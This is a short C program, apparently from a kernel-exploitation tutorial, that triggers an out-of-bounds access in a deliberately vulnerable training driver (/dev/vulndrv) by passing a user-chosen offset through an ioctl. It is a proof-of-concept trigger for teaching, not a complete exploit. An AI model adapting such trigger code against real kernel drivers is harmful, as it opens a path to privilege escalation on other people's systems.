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40 lines
637 B
40 lines
637 B
/**
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* User-space trigger application for OOB in drv.c
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*
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*
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* Full article: https://cyseclabs.com/page?n=17012016
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*
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* Author: Vitaly Nikolenko
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* Email: vnik@cyseclabs.com
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*
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**/
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#define _GNU_SOURCE
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include "drv.h"
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#define DEVICE_PATH "/dev/vulndrv"
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int main(int argc, char **argv) {
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int fd;
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struct drv_req req;
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req.offset = atoll(argv[1]);
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//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
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fd = open(DEVICE_PATH, O_RDONLY);
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if (fd == -1) {
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perror("open");
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}
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ioctl(fd, 0, &req);
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return 0;
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}
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